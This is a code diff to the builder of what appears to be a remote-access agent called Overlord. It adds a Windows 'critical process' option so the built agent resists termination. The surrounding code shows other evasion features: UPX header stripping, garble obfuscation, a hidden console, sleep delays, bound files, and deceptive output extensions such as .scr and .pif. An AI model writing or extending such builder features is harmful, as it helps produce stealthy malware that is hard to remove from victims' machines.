add critical process for windows

Overlord-Server/src/server/build-process.ts

@@ -87,6 +87,7 @@ type BuildProcessConfig = {
   enableUpx?: boolean;
   upxStripHeaders?: boolean;
   requireAdmin?: boolean;
+  criticalProcess?: boolean;
   outputExtension?: string;
   sleepSeconds?: number;
   boundFiles?: BoundFile[];
@@ -740,6 +741,12 @@ func runBoundFiles() {
         sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
       }
 
+      if (config.criticalProcess && os === "windows") {
+        const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true";
+        ldflags = ldflags ? `${ldflags} ${criticalFlag}` : criticalFlag;
+        sendToStream({ type: "output", text: "Critical process: enabled (requires admin at runtime)\n", level: "info" });
+      }
+
       if (config.obfuscate) {
         sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
         if (config.garbleLiterals) {

Overlord-Server/src/server/routes/build-routes.ts

@@ -72,6 +72,7 @@ export async function handleBuildRoutes(
         enableUpx,
         upxStripHeaders,
         requireAdmin,
+        criticalProcess,
         outputExtension,
         sleepSeconds,
         boundFiles,
@@ -164,6 +165,7 @@ export async function handleBuildRoutes(
         ? iconBase64
         : undefined;
       const safeRequireAdmin = !!requireAdmin;
+      const safeCriticalProcess = !!criticalProcess;
       const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
       const safeOutputExtension =
         typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
@@ -248,6 +250,7 @@ export async function handleBuildRoutes(
         enableUpx: !!enableUpx,
         upxStripHeaders: !!upxStripHeaders,
         requireAdmin: safeRequireAdmin,
+        criticalProcess: safeCriticalProcess,
         outputExtension: safeOutputExtension,
         sleepSeconds: safeSleepSeconds,
         boundFiles: safeBoundFiles,